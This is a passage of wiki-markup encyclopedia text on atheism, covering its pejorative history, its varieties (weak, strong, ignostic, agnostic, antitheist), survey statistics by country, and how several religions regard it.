&lt;blockquote&gt; During the sixteenth and seventeenth centuries, the word 'atheist' was still reserved exclusively for polemic... In his tract ''Atheism Closed and Open Anatomized'' (1634), John Wingfield claimed: &quot;the hypocrite is an Atheist; the loose wicked man is an open Atheist; the secure, bold and proud transgressor is an Atheist: he that will not be taught or reformed is an Atheist&quot;. For the [[Wales|Welsh]] poet [[William Vaughan]] (1577 [sic]-1641), who helped in the colonisation of [[Newfoundland]], those who raised rents or enclosed commons were obvious atheists. The English dramatist [[Thomas Nashe]] (1567-1601) proclaimed that the ambitious, the greedy, the gluttons, the vainglorious and prostitutes were all atheists. The term 'atheist' was an insult. Nobody would have dreamed of calling ''himself'' an atheist. (p.331-332) &lt;/blockquote&gt;

On the other hand, the existence of serious speculative atheism was often denied. That anyone might ''reason'' their way to atheism was thought to be impossible. Thus, speculative atheism was collapsed into a form of practical atheism, or conceptualized as hatred of God, or a fight against God. This is why Borne finds it necessary to say, &quot;to put forward the idea, as some apologists rashly do, that there are no atheists except in name but only 'practical atheists' who through pride or idleness disregard the divine law, would be, at least at the beginning of the argument, a rhetorical convenience or an emotional prejudice evading the real question.&quot; (p.18)

Martin (1990, p.465-466) suggests that practical atheism would be better described as ''alienated theism''.

====Other pejorative definitions of atheism====
When denial of the existence of &quot;speculative&quot; atheism became unsustainable, atheism was nevertheless often repressed and criticized by narrowing definitions, applying charges of dogmatism, and otherwise misrepresenting atheist positions. One of the reasons for the popularity of euphemistic alternative terms like [[secularism|secularist]], [[empiricism|empiricist]], [[agnosticism|agnostic]], or [[bright (noun)|bright]] is that ''atheism'' still has pejorative connotations arising from attempts at suppression and from its association with practical atheism (''godless'' is still used as an abusive epithet).

Mynga Futrell and Paul Geisert, the originators of the term ''Bright'', made this explicit in an essay published in 2003:

&lt;blockquote&gt;Our personal frustration regarding labels reached culmination last fall when we were invited to join a march on Washington as &quot;Godless Americans.&quot; The causes of the march were worthy, and the march itself well planned and conducted. However, to unite for common interests under a disparaging term like godless (it also means &quot;wicked&quot;) seemed ludicrous! Why accept and utilize the very derogatory language that so clearly hampers our own capacity to play a positive and contributing role in our communities and in the nation and world? [http://www.the-brights.net/vision/essays/futrell_geisert_nix.html]&lt;/blockquote&gt;

Gaskin (1989) abandoned the term ''atheism'' in favour of ''unbelief'', citing &quot;the pejorative associations of the term, its vagueness, and later the tendency of religious apologists to define atheism so that no one could be an atheist...&quot; (p.4)

Despite these considerations, for others ''atheist'' has always been the preferred name. [[Charles Bradlaugh]] once said (in debate with [[George Jacob Holyoake]], [[10 March]] [[1870]], cited in Bradlaugh Bonner (1908)):

&lt;blockquote&gt;I maintain that the opprobrium cast upon the word Atheism is a lie. I believe Atheists as a body to be men deserving respect... I do not care what kind of character religious men may put round the word Atheist, I would fight until men respect it. (p.334) &lt;/blockquote&gt;

For more on repressive definitions of atheism, see Berman (1982), (1983), (1990).

===Weak and strong atheism===
:''Main articles: [[Weak atheism]], [[Strong atheism]]'' 

''[[Weak atheism]]'', sometimes called ''soft atheism'', ''negative atheism'' or ''neutral atheism'', is the absence of belief in the existence of [[deity|deities]] without the positive assertion that deities do not exist. ''[[Strong atheism]]'', also known as ''hard atheism'' or ''positive atheism'', is the belief that no deities exist.

While the terms ''weak'' and ''strong'' are relatively recent, the concepts they represent have been in use for some time. In earlier philosophical publications, the terms ''negative atheism'' and ''positive atheism'' were more common; these terms were used by [[Antony Flew]] in 1972, although [[Jacques Maritain]] (1953, Chapter 8, p.104) used the phrases in a similar, but strictly Catholic apologist, context as early as 1949 [http://www.nd.edu/Departments/Maritain/jm3303.htm].

Although explicit atheists ([[nontheism|nontheists]] who consciously reject theism), may subscribe to either ''weak'' or ''strong'' atheism, weak atheism also includes implicit atheists - that is, nontheists who have not consciously rejected theism, but lack theistic belief, arguably including infants.

Theists claim that a single deity or group of deities exists. Weak atheists do not assert the contrary; instead, they only refrain from assenting to theistic claims. Some weak atheists are without any opinion regarding the existence of deities, either because of a lack of thought on the matter, a lack of interest in the matter (see [[apatheism]]), or a belief that the arguments and evidence provided by both theists and strong atheists are equally unpersuasive. Others (explicit weak atheists) may doubt or dispute claims for the existence of deities, while not actively asserting that deities do not exist, following [[Wittgenstein|Wittgenstein's]] famous dictum, &quot;Whereof one cannot speak thereof one must remain silent.&quot;

Some weak atheists feel that theism and strong atheism are equally untenable, on the grounds that faith is required both to assert and to deny the existence of deities, and as such both theism and strong atheism have the burden of proof placed on them to prove that a god does or doesn't exist. Some also base their belief on the notion that it is impossible to prove a negative.

While a weak atheist might consider the nonexistence of deities likely on the basis that there is insufficient evidence to justify belief in a deity's existence, a strong atheist has the additional view that positive statements of nonexistence are merited when evidence or arguments indicate that a deity's nonexistence is certain or probable.

Strong atheism may be based on arguments that the concept of a deity is self-contradictory and therefore impossible (positive [[ignosticism]]), or that one or more of the properties attributed to a deity are incompatible with what we observe in the world.  Examples of this may be found in quantum physics, where the existence of mutually exclusive data negates the possibility of omniscience, usually a core attribute of monotheistic conceptions of deity.

''[[Agnosticism]]'' is distinct from strong atheism, though many weak atheists may be agnostics, and those who are strong atheists with regard to a particular deity might be weak atheists or agnostics with regard to other deities.

===Ignosticism===
:''Main article: [[Ignosticism]]''

Ignosticism is the view that the question of whether or not deities exist is inherently meaningless. It is a popular view among many [[logical positivism|logical positivists]] such as [[Rudolph Carnap]] and [[A. J. Ayer]], who hold that talk of gods is literally [[nonsense]]. According to ignostics, &quot;Does a god exist?&quot; has the same logical status as &quot;What color is Saturday?&quot;; they are both nonsensical, and thus have no meaningful answers.

Ignostics commonly hold that statements about religious or other transcendent experiences cannot have any truth value, often because theological statements lack [[falsifiability]], because of an [[epistemology|epistemological]] view that renders the [[ontological argument]] nonsensical, or because the terminology being used has not been properly or consistently defined &amp;mdash; the latter view is known as [[theological noncognitivism]].

The use of the word &quot;god&quot; is thus solely a matter of [[semantics]] to ignostics, dealing with word use and technicalities rather than with existence and reality.

In ''Language, Truth and Logic'', Ayer stated that theism, atheism and agnosticism were equally meaningless, insofar as they treat the question of the existence of God as a real question. However, there are varieties of atheism and agnosticism which do not necessarily agree that the question is meaningful, especially using the &quot;lack of theism&quot; definition of atheism. Despite Ayer's criticism of atheism (perhaps using the definition typically associated with [[strong atheism]]), Ignosticism is usually counted as a form of atheism; Ayer (1966) was clear on his position:

&lt;blockquote&gt;I do not believe in God. It seems to me that theists of all kinds have very largely failed to make their concept of a deity intelligible; and to the extent that they have made it intelligible, they have given us no reason to think that anything answers to it. (p226) &lt;/blockquote&gt;

The ignostic position is mentioned (though the term ''ignostic'' is not used) as one of the three forms of &quot;critical atheism&quot; (in Smith) or &quot;rejectionist atheism&quot; (in Nagel). Active disbelief in god or supernatural beings is one other type of critical/rejectionist atheism. Finally, the third type is the positive claim that deities do not exist. Since critical/rejectionist atheism is a type of explicit atheism, if follows that ignosticism is a type of explicit atheism. There is some debate over whether it should be classified as [[weak atheism]] or [[strong atheism]].

Ignosticism is distinct from apatheism in that while ignostics hold ''questions'' and ''discussions'' of whether deities exist to be meaningless, apatheists hold that even a hypothetical ''answer'' to such questions would be completely irrelevant to human existence.

===Gnostic and agnostic atheism===
:''Main article: [[Agnostic atheism]]''

Agnostic atheism is a fusion of atheism or [[nontheism]] with [[agnosticism]], the [[epistemology|epistemological]] position that the existence or nonexistence of deities is unknown ([[weak agnosticism]]) or unknowable ([[strong agnosticism]]). Agnostic atheism is typically contrasted with [[agnostic theism]], the belief that deities exist even though it is impossible to know that deities exist, and with gnostic atheism, the belief that there is enough information to determine that deities do not exist.

''Agnostic atheism'''s definition varies, just as the definitions of agnosticism and atheism do. It may be a combination of lack of theism with [[strong agnosticism]], the view that it is impossible to know whether deities exist to any reliable degree. It may also be a combination of lack of theism with [[weak agnosticism]], the view that there is not currently enough information to decide whether or not a deity exists, but that there may be enough in the future.

''Gnostic atheism'' is a more rarely used term, because often anyone who is not labeled as agnostic is assumed to be gnostic by default. Gnostic atheism also has varying meanings. When nontheism is combined with strong gnosticism, it denotes the belief that it is rational to be absolutely certain that deities do not, and perhaps cannot, exist. When it is with weak gnosticism, it denotes the belief that there is enough information to be reasonably sure that deities do not exist, but not absolutely certain. The term should not be confused with [[Gnosticism]]. 

''Gnostic atheism'' is also sometimes used as a synonym of [[strong atheism]], and thus ''agnostic atheism'' is occasionally a synonym for [[weak atheism]]. This is similar to the more common confusion of the terms ''implicit atheism'' and ''explicit atheism'' with strong and weak atheism.

[[Apatheism]] often overlaps with agnostic atheism, such as with [[apathetic agnosticism]], a fusion of apatheism with strong agnostic atheism.

===Atheism in philosophical naturalism===
Many, if not most, atheists have preferred to say that atheism is a lack of a belief, rather than a belief in its own right (see, for example, Krueger (1998, p.22-24); Smith (1979, p.15-16)). This keeps the burden of proof on the theist (see Flew (1984b)), as the only one making any positive assertions. &quot;Belief&quot; also has other connotations that many atheists may wish to avoid. 

Nevertheless, some atheist writers identify atheism with the [[naturalism (philosophy)|naturalistic world view]], and defend it on that basis. The case for naturalism is used as a positive argument for atheism. See, for example, Thrower (1971), Harbour (2001), [[Kai Nielsen|Nielsen]] (2001) and [[Julian Baggini|Baggini]] (2003). See also Everitt's discussion of an anti-atheist argument against naturalism (2004, Chapter 9, p.178-190).

According to Thrower,

&lt;blockquote&gt;Much atheism... can be understood only in the light of the current theism which it was concerned to reject. Such atheism is relative. There is, however, a way of looking at and interpreting events in the world, whose origins... can be seen as early as the beginnings of speculative thought itself, and which I shall call naturalistic, that is atheistic per se, in the sense that it is incompatible with any and every form of supernaturalism... naturalistic or absolute atheism is both fundamentally more important, and more interesting, representing as it does one polarity in the development of the human spirit. (p.3-4) &lt;/blockquote&gt;

[[Julian Baggini]] argues that, &quot;atheism can be understood not simply as a denial of religion, but as a self-contained belief system, if it is seen as a commitment to the view that there is only one world and this is the world of nature&quot; (p.74). For Baggini, therefore,

&lt;blockquote&gt;the evidence for atheism is to be found in the fact that there is a plethora of evidence for the truth of naturalism and an absence of evidence for anything else. 'Anything else' of course includes God, but it also includes goblins, hobbits, and truly everlasting gobstoppers. There is nothing special about God in this sense. God is just one of the things that atheists don't believe in, it just happens to be the thing that, for historical reasons, gave them their name. (p.17) &lt;/blockquote&gt;

Baggini's position is that &quot;an atheist does not usually believe in the existence of immortal souls, life after death, ghosts, or supernatural powers. Although strictly speaking an atheist could believe in any of these things and still remain an atheist... the arguments and ideas that sustain atheism tend naturally to rule out other beliefs in the supernatural or transcendental&quot; (p.3-4).

[[Michael Martin (philosopher)|Michael Martin]] (1990, p.470) notes that the view that &quot;naturalism is compatible with nonatheism is true only if 'god' is understood in a most peculiar and misleading way&quot;, but he also points out that &quot;atheism does not entail naturalism&quot;.

===Antitheism===
:''Main article: [[Antitheism]]''

''Antitheism'' (sometimes hyphenated) typically refers to a direct opposition to [[theism]]. In this use, it is a form of critical [[strong atheism]]. Antitheism may sometimes overlap with [[ignosticism]], the view that theism is inherently meaningless, and may directly contradict [[apatheism]], the view that theism is irrelevant rather than dangerous.

However, ''antitheism'' is also sometimes used, particularly in religious contexts, to refer to opposition to [[God]] or [[divine]] things, rather than to the belief in God. Using the latter definition, it may be possible &amp;mdash; or perhaps even necessary &amp;mdash; to be an antitheist without being an atheist or nontheist.

Antitheists may believe that theism is actually harmful, or may simply be atheists who have little tolerance for views they perceive as [[irrationality|irrational]]. Strong atheists who are not antitheists may believe positively that deities do not exist, but not believe that theism is directly harmful or necessitates opposition.

==History==
{{main|History of atheism}}

Although the actual term ''atheism'' originated in 16th Century [[France]], ideas that would be recognized as atheistic today existed even before [[Classical Antiquity]]. [[Epicurus]] proposed theories that can be classified as atheistic, such as a lack of belief in an afterlife, though he remained ambiguous concerning the actual existence of deities. Before him, [[Socrates]] was [[Trial of Socrates|sentenced to death]] partly on the grounds that he was an atheist, although he did express belief in several forms of divinity, as recorded in [[Plato]]'s ''[[Apology (Plato)|Apology]]''. This criminal connotation attached to atheistic ideas ([[heresy]]) would remain, at varying levels of severity, until [[the Renaissance]], when criticism of the Church became more prevalent and tolerated.

Atheism disappeared from the philosophy of the [[Ancient Greece|Greek]] and [[Roman Empire|Roman]] traditions as [[Christianity]] gained influence. During the [[Age of Enlightenment]], the concept of atheism re-emerged as an accusation against those who questioned the religious [[status quo]], but by the late 18th century it had become the philosophical position of a growing minority. By the 20th century, along with the spread of [[rationalism]] and [[secular humanism]], atheism had become common, particularly among [[scientist|scientists]] (see [[#International survey of contemporary atheism|international survey of contemporary atheism]]). In the 20th Century, atheism also became a staple of the various [[Communism|Communist]] regimes, helping return some of the negative connotations of atheism, especially in the [[United States]], where the term became synonymous with being unpatriotic during the [[Cold War]].

==Distribution of atheists==
Though atheists are a minority group in most countries, they are relatively common in [[Western Europe]], [[Australia]], [[New Zealand]], [[Canada]], in former and present [[communist state]]s, and, to a lesser extent, in the [[United States]].

Atheism is particularly prevalent among [[scientist]]s, a tendency already quite marked at the beginning of the 20th century, developing into a dominant one during the course of the century. In 1914, [[James H. Leuba]] found that 58% of 1,000 randomly selected U.S. [[natural science|natural scientists]] expressed &quot;disbelief or doubt in the existence of God&quot;. The same study, repeated in 1996, gave a similar percentage of 60.7%; this number is 93% among the members of the [[National Academy of Sciences]]. Expressions of positive disbelief rose from 52% to 72%. [http://www.stephenjaygould.org/ctrl/news/file002.html] (See also [[The relationship between religion and science]]). 

===Atheism in the United Kingdom===
A poll in 2004 by the [[BBC]] put the number of people who do not believe in God to be 40% [http://news.bbc.co.uk/1/hi/programmes/wtwtgod/3518375.stm], while a [[YouGov]] poll in the same year put the percentage of non-believers at 35% with 21% uncertain
[http://www.telegraph.co.uk/news/graphics/2004/12/27/nfaith27big.gif]. In the YouGov poll men were less likely to 
believe in god than women and younger people were less likely to believe in god than older people.

In early 2004, it was announced that atheism would be taught during religious education classes in the [[United Kingdom]]. [http://observer.guardian.co.uk/politics/story/0,6903,1148578,00.html] A spokesman for the [[Qualifications and Curriculum Authority]] stated: &quot;There are many children in England who have no religious affiliation and their beliefs and ideas, whatever they are, should be taken very seriously.&quot; There is also considerable debate in the U.K. on the status of [[faith-based schools]], which use religious as well as academic selection criteria. The decision was based on a Parliament decision ruling that, while questionable in moral standing, Atheism is a legitimate religion (although atheism is not a religion in any sense, this indicates that atheism should be treated the same as theism). Atheism is championed by many scientists and [[philosophers]] in the [[United Kingdom]] including [[Richard Dawkins]].

===Atheism in the United States===
A [[Gallup poll]] in 2005 showed 5% of the US population feel that God does not exist [http://www.editorandpublisher.com/eandp/news/article_display.jsp?vnu_content_id=1001659292]. A poll in 2004 by the [[BBC]] showed the number of people who don't believe in God to be larger, at 10% [http://news.bbc.co.uk/1/hi/programmes/wtwtgod/3518375.stm]. However, unbelief in God does not imply self-identification as an atheist.

Atheists are ostensibly legally protected from discrimination in the United States. They have been among the strongest advocates of the legal [[separation of church and state]]. American courts have regularly, if controversially, interpreted the constitutional requirement for separation of church and state as protecting the freedoms of non-believers, as well as prohibiting the establishment of any state religion. Atheists often sum up the legal situation with the phrase: &quot;Freedom of religion also means freedom ''from'' religion.&quot; [http://www.au.org/]

In [[Board of Education of Kiryas Joel Village School District v. Grumet]][http://caselaw.lp.findlaw.com/scripts/getcase.pl?court=us&amp;vol=000&amp;invol=U10355], Justice Souter wrote in the opinion for the Court that: &quot;government should not prefer one religion to another, or religion to [[irreligion]].&quot; [http://supct.law.cornell.edu/supct/html/93-517.ZS.html] [[Everson v. Board of Education]] established that &quot;''neither a state nor the Federal Government can''...'' pass laws which aid one religion, aid all religions, or prefer one religion over another''&quot;. This applies the Establishment Clause to the states as well as the federal government. [http://atheism.about.com/library/decisions/religion/bl_l_BoEEverson.htm] However, several state constitutions make the protection of persons from religious discrimination conditional on their acknowledgement of the existence of a deity, apparently making freedom of religion in those states inapplicable to atheists. These state constitutional clauses have not been tested. Additionally, some state constitutions (namely, [[Arkansas Constitution|Arkansas]] and [[South Carolina Constitution|South Carolina]]) disallow atheists to hold public office, although most agree that, if challenged, these requirements would be ruled unconstitutional under [[Article Six of the United States Constitution]] which bans such qualifications. Civil rights cases are typically brought in federal courts; so such state provisions are mainly of symbolic importance.
 	
In the [[Elk Grove Unified School District v. Newdow|Newdow case]], after a father challenged the phrase &quot;under God&quot; in the United States [[Pledge of Allegiance]], the Ninth Circuit Court of Appeals found the phrase unconstitutional. Although the decision was stayed pending the outcome of an appeal, there was the prospect that the pledge would cease to be legally usable without modification in schools in the western United States, over which the Ninth Circuit has jurisdiction. This resulted in political furor, and both houses of Congress passed resolutions condemning the decision, nearly unanimously. A very large group consisting of almost the entire Senate and House was televised standing on the steps of Congress, hands over hearts, swearing the pledge and shouting out &quot;under God&quot;. The Supreme Court subsequently reversed the decision, ruling that [[Michael Newdow]] did not have standing to bring his case, thus disposing of the case without ruling on the constitutionality of the pledge.

==Atheism studies and statistics==
As some governments have strongly promoted atheism, whilst others have strongly condemned it, atheism may be either over-reported or under-reported for different countries. There is a great deal of room for debate as to the accuracy of any method of estimation, as the opportunity for misreporting (intentionally or not) a belief system without an organized structure is high. Also, many surveys on religious identification ask people to identify themselves as &quot;agnostics&quot; or &quot;atheists&quot;, which is potentially confusing, since these terms are interpreted differently by many different people, with some identifying themselves as being both atheist and agnostic. Additionally, many of these surveys only gauge the number of [[irreligion|irreligious]] people, not the number of actual atheists, or group the two together.

The following surveys are in chronological order, but as they are different studies with different methodologies it would be inaccurate to infer trends on the prevalence of atheism from them:

*A 1995 survey [http://www.zpub.com/un/pope/relig.html] attributed to the [[Encyclopædia Britannica]] indicates that the non-religious are about 14.7% of the world's population, and atheists around 3.8%.

*The 2001 [http://www.gc.cuny.edu/faculty/research_briefs/aris/key_findings.htm ARIS report] found that while 29.5 million U.S. Americans (14.1%) describe themselves as &quot;without religion&quot;, only 902,000 (0.4%) positively claim to be atheist, with another 991,000 (0.5%) professing agnosticism.

*In the 2001 Australian Census [http://www.abs.gov.au/Ausstats/abs@.nsf/0/9658217eba753c2cca256cae00053fa3?OpenDocument] 15.5% of respondents ticked &quot;no religion&quot;, and a further 11.7% either did not state their religion or were deemed to have described it inadequately (there was a popular and successful campaign at the time to have people describe themselves as [[Jedi census phenomenon|Jedi]]).

*The 2001 [[New Zealand]] census [http://www.stats.govt.nz/products-and-services/Articles/census-snpsht-cult-diversity-Mar02.htm] showed that 40% of the respondents claimed &quot;no religion&quot;.

*In 2001, the [http://www.czso.cz/csu/edicniplan.nsf/o/4110-03--skladba_obyvatelstva_podle_nabozenskeho_vyznani,_pohlavi_a_podle_veku Czech Statistical Office] provided census information on the ten million people in the [[Czech Republic]]. 59% had no religion, 32.2% were religious, and 8.8% did not answer. This suggests that the Czech Republic is probably the most atheistic country in the world.

*In 2002 survey in [[Demographics of Russia|Russia]], 32% self-described as atheist. Of the 58% self-describing as Russian Orthodox Christian, 42% said they had never been in a church.

*A 2002 survey by Adherents.com [http://adherents.com/Religions_By_Adherents.html] estimates the proportion of the world's people who are &quot;secular, non-religious, agnostics and atheists&quot; as about 14%.

*In a 2003 poll in [[France]], 54% of those polled identified themselves as &quot;faithful&quot;, 33% as atheist, 14% as agnostic, and 26% as &quot;[[apatheism|indifferent]]&quot;. [http://www.state.gov/g/drl/rls/irf/2004/35454.htm]

*A 2004 survey by the BBC [http://news.bbc.co.uk/1/hi/programmes/wtwtgod/3518375.stm] in 10 countries showed the proportion of the population &quot;who don't believe in God&quot; varying between 0% and 44%, with an average close to 17% in the countries surveyed. About 8% of the respondents stated specifically that they consider themselves to be atheists.

*A 2004 survey by the CIA in the World Factbook [http://cia.gov/cia/publications/factbook/geos/xx.html#People] estimates about 12.5% of the world's population are non-religious, and about 2.4% are atheists. 

*A 2004 survey by the [[Pew Research Center]] [http://people-press.org/reports/display.php3?PageID=757] showed that in the United States, 12% of people under 30 and 6% of people over 30 could be characterized as non-religious.

*A 2005 poll by AP/Ipsos [http://www.ipsos-na.com/news/pressrelease.cfm?id=2694] surveyed ten countries. Of the developed nations, people in the [[United States]] had most certainty about the existence of god or a higher power (2% atheist, 4% agnostic), while [[France]] had the most skeptics (19% atheist, 16% agnostic). On the religion question, [[South Korea]] had the greatest percentage without a religion (41%) while [[Italy]] had the smallest (5%).

* A 2006 survey in the Norwegian newspaper [[Aftenposten]] (on [[February 17]]), saw 1006 inhabitants of [[Norway]] answering the question &quot;What do you believe in?&quot;. 29% answered &quot;I believe in a god or deity&quot;, 23% answered &quot;I believe in a higher power without being certain of what&quot;, 26% answered &quot;I don't believe in god or higher powers&quot;, and 22% answered &quot;I am in doubt&quot;. Depending on the definition of atheism, Norway thus has between 49% and 71% atheists. Still, some 85% of the population are members of the Norwegian state's official [[Lutheran]] [[Protestant]] church. Parts of this deviance is due to the fact that all non-affilated Norwegians were signed into this church a few years before (without being asked), and that signing out, if they are even aware of being signed in, is a time-consuming, bureaucratic affair yielding no immediate gains.

===Statistical problems===
Statistics on atheism are often difficult to accurately represent for a variety of reasons.

====Atheism is nonexclusive====
Atheism is a position compatible with other forms of identity. Some atheists also consider themselves [[Agnosticism|Agnostic]], [[Buddhism|Buddhist]], [[Jainism|Jains]] or hold other related philosophical beliefs. Therefore, given limited poll options, some may use other terms to describe their identity.

====Misrepresentation====
Some politically motivated organizations that report or gather population statistics may, intentionally or unintentionally, misrepresent atheists. Survey designs may bias results due to the nature of elements such as the wording of questions and the available response options. Also, many atheists, particularly former Catholics, are still counted as [[Christianity|Christian]]s in church rosters, although surveys generally ask samples of the population and do not look in church rosters. Some Christians believe that ''&quot;once a person is &lt;nowiki&gt;[truly]&lt;/nowiki&gt; saved, that person is always saved&quot;'', a doctrine known as [[Perseverance of the saints|eternal security]]. [http://www.evangelicaloutreach.org/eternalsecurity1.htm].

====Attitudes toward religion====
Statistics are generally collected on the assumption that religion is a categorical variable. As terms such as ''weak atheism'' and ''strong atheism'' suggest, however, people vary in terms of the strength of their convictions. Instruments have been designed to measure attitudes toward religion, including one that was used by [[L. L. Thurstone]]. This may be a particularly important consideration among people who have neutral attitudes, as it is more likely prevailing social norms will influence the responses of such people on survey questions which effectively force respondents to categorize themselves either as belonging to a particular relgion or belonging to no religion.

====Misunderstanding and external pressure====
A negative perception of atheists and pressure from family and peers may also cause some atheists to disassociate themselves from atheism. Misunderstanding of the term may also be a reason some label themselves differently.

====Discrimination====
Legal and social discrimination against atheists in some places may lead some to deny or conceal their atheism due to fears of persecution.

For example, in the 20th century, atheists, socialists and communists were persecuted alongside Jews by the Nazis, who lumped all of these terms into one complex issue or theme ('the Jewish-Bolshevik world conspiracy', as addressed in [[Joseph Goebbels]]' 1935 speech &quot;Communism with the Mask Off&quot;, in which Christian civilization -national socialism- was described as antithetical to Jewish Communism).

==Religion and atheism==
===Spiritual and religious atheism===
Although atheistic beliefs are often accompanied by a total lack of [[supernatural]] beliefs, this is not an aspect, or even a necessary consequence, of atheism. Indeed, there are many atheists who are not [[irreligion|irreligious]] or [[secularism|secular]]. These are most common in spiritualities like [[Buddhism]] and [[Taoism]], but they also exist in sects of religions that are usually very theistic by nature, such as [[Christianity]], especially in some [[Religious Society of Friends|Liberal Quaker]] groups.
 
A number of atheistic churches have been established, such as the [http://thomasinechurch.org/ Thomasine Church], [[Naturalistic pantheism|naturalistic pantheists]], [[Brianism]], and the [[Fellowship of Reason]]. There is also an atheist presence in [[Unitarian Universalism]], an extremely [[inclusivism|inclusivist]] religion. 

====Belief in God as a non-being====
In English, believers usually refer to the [[monotheism|monotheistic]] Abrahamic god as &quot;[[God]]&quot;. In many abstract or esoteric interpretations of monotheism or [[henotheism]], God is not thought of as a supernatural being, as a deity or god. Rather, God becomes a philosophical category: the All, the One, the [[Ultimate]], the [[Absolute Infinite]], the [[Transcendent]], the Divine Ground, [[Being]] or [[Existence]] itself, etc. For example, such views are typical of [[pantheism]], [[panentheism]], and religious [[monism]]. Attributing [[anthropomorphic]] characteristics to God may be regarded as idolatry, blasphemy, or symbolism by some. Some theists may not believe in, or may even deny, the existence of deities as supernatural beings, while maintaining a belief in god as so conceived.

For example, the [[Protestantism|Protestant]] theologian [[Paul Tillich]] described God as the &quot;ground of Being&quot;, the &quot;power of Being&quot;, or as &quot;Being itself&quot;, and caused controversy by making the statement that &quot;God does not exist&quot;, resulting in him occasionally being labelled as an atheist. Nevertheless, for [[Tillich]], God is not &quot;a&quot; being that exists among other beings, but is Being itself. For him, God does not &quot;exist&quot; except as a concept or principle; God is the basis of Being, the [[metaphysics|metaphysical]] power by which Being triumphs over non-Being.

However, most atheists who deny the existence of deities as supernatural beings would also deny this and similar conceptions of God, or simply consider them incomprehensible. Even the broadest definitions of atheism often do not include belief in a conceptual or metaphysical God, categorizing this under theism instead.

===Judaism===
In general, formulations of [[Jewish principles of faith]] require a belief in God (represented by Judaism's paramount prayer, the [[Shema]]). In many modern movements in Judaism, rabbis have generally considered the behavior of a Jew to be the determining factor in whether or not one is considered an adherent of Judaism. Within these movements it is often recognized that it is possible for a Jew to strictly practise [[Judaism]] as a faith, while at the same time being an agnostic or atheist, giving rise to the joke: &quot;Q: What do you call a Jew who doesn't believe in God? A: A Jew.&quot; It is also worth noting that [[Reconstructionist Judaism|Reconstructionism]] does not require any belief in a deity, and that certain popular [[Reform Judaism|Reform]] prayer books, such as ''Gates of Prayer'', offer some services without mention of God.

Rabbi [[Abraham Isaac Kook]] [http://www.vbm-torah.org/archive/rk16-kook.htm][http://www.vbm-torah.org/archive/rk17-kook.htm], first Chief Rabbi of the Jewish community in pre-state Israel, held that atheists were not actually denying God: rather, they were denying one of man's many images of God. Since any man-made image of God can be considered an idol, Kook held that, in practice, one could consider atheists as helping true religion burn away false images of God, thus in the end serving the purpose of true monotheism.

Some Jewish atheists reject Judaism, but wish to continue identifying themselves with the Jewish people and culture. See, for example, Levin (1995).  Jewish atheists who practice [[Humanistic Judaism]] embrace Jewish culture and history, rather than belief in a supernatural god, as the sources of their Jewish identity.

===Christianity===
By necessity, Christianity, as a [[theist|theistic]] and [[proselyte|proselytising]] religion views atheism as sinful.  According to [[Psalm 14:1]], &quot;The fool hath said in his heart, there is no God.&quot; According to John 3:18-19, all who reject Christianity (and presumably its attendant theism) do so &quot;because their deeds are evil&quot;.

A famous but idiosyncratic atheistic belief is that of [[Thomas Altizer]]. His book ''The Gospel of Christian Atheism'' (1967) proclaims the highly unusual view that God has literally died, or self-annihilated. According to Altizer, this is nevertheless &quot;a Christian confession of faith&quot; (p.102). Making clear the difference between his position and that of both [[Friedrich Nietzsche|Nietzsche's]] notion of the death of God and the stance of theological non-realists, Altizer says:

&lt;blockquote&gt;To confess the death of God is to speak of an actual and real event, not perhaps an event occurring in a single moment of time or history, but notwithstanding this reservation an event that has actually happened both in a cosmic and in a historical sense.(p.103)&lt;/blockquote&gt; 

However, many would dispute whether this is an atheist position at all, as belief in a dead God implies that God once existed and was alive. Atheism typically entails a lack of belief that any gods ''ever'' existed, as opposed to not existing currently. For further discussion, see Lyas (1970).

Other, unrelated practitioners of Christian atheism may include [[Liberal Christianity|Liberal Christian]] atheists who follow the teaching of [[Jesus]], but who may not believe in the literal existence of god. In this case, however, many would dispute whether the atheists in question are truly [[Christianity|Christians]], though they certainly are by some of the looser definitions of the word.

It should be noted that although Christianity as a ''faith'' has to be construed as irreconcilable with atheism, this is markedly not the case regarding the church institutions which currently are nominally Christian. Indeed the great [[Positivism|positivist]] luminaries in all earnestness encompassed a Catholic Church which would retain all it's ceremonies and ecclesiastical structures, whilst transforming into a purely atheistic church, much in the same way that christianity has co-opted the organisational traditions of the native faiths it has encountered around the world, and through the ages.

===Islam===
In [[Islam]], atheists are categorized as [[kafir]] (كافر), a term that is also used to describe polytheists, and that translates roughly as &quot;denier&quot; or &quot;concealer&quot;. The noun ''kafir'' carries connotations of blasphemy and disconnection from the Islamic community. In Arabic, &quot;atheism&quot; is generally translated ''ilhad'' (إلحاد), although this also means &quot;heresy&quot;.
As the [[Sharia]] punishment for [[apostasy]] in Islam is [[death penalty|death]] and such apostasy is also widely socially disapproved of, atheists (as well as converts from Islam to other religions) in Islamic countries and communities frequently conceal their non-belief. The surveys mentioned above that indicate 100% religious belief in certain Islamic countries should be interpreted in light of this fact.

===Asian spirituality===
It is difficult to categorize the Eastern thought systems in distinct terms of theism or atheism. Therefore, it should be noted that even the thoughts that would be characterized as atheistic in the western sense, often have some theistic tendencies, and vice versa.

[[Carvaka]] (also ''Charvaka'') was a [[materialist]] and atheist school of thought in [[India]], which is now known principally from fragments cited by its [[Hindu]] and [[Buddhist]] opponents. The proper aim of a Carvakan, according to these sources, was to live a prosperous, happy, productive life in this world (cf [[Epicureanism]]). There is some evidence that the school persisted until at least 1578. 

[[Buddhism]] is often described as atheistic, since Buddhist authorities and canonical texts do not affirm, and sometimes deny, the following:

* The existence of a [[creation]], and therefore of a creator god
* That a god, gods, or other divine beings are the source of moral imperatives
* That human beings or other creatures are responsible to a god or gods for their actions

Buddhists might also be deemed atheistic in anti-Buddhist Hindu polemic, since Buddhists opposed the authority of the [[Vedas]] and of Vedic priests, and the power of the rituals of [[Vedic religion]].

However, all canonical Buddhist texts that mention the subject accept the ''existence'' (as distinct from the ''authority'') of a great number of deities, including the Vedic deities.  From the point of view of Western theism, certain concepts of the [[Buddha]] found in the [[Mahayana]] school of Buddhism, e.g. of [[Amitabha]] or the Adibuddha may seem to share characteristics with Western concepts of God. 

Other schools continue to consider themselves as fundamentally atheistic, in the strong sense of the term. [[Jainism]] is also sometimes classified as atheistic since Jains's believe that &quot;In the most basic sense, God is not seen as a person, place or tangible thing, but as the ideal state of an individual soul's existence&quot; [http://www.dd-b.net/~raphael/jain-list/msg01226.html].

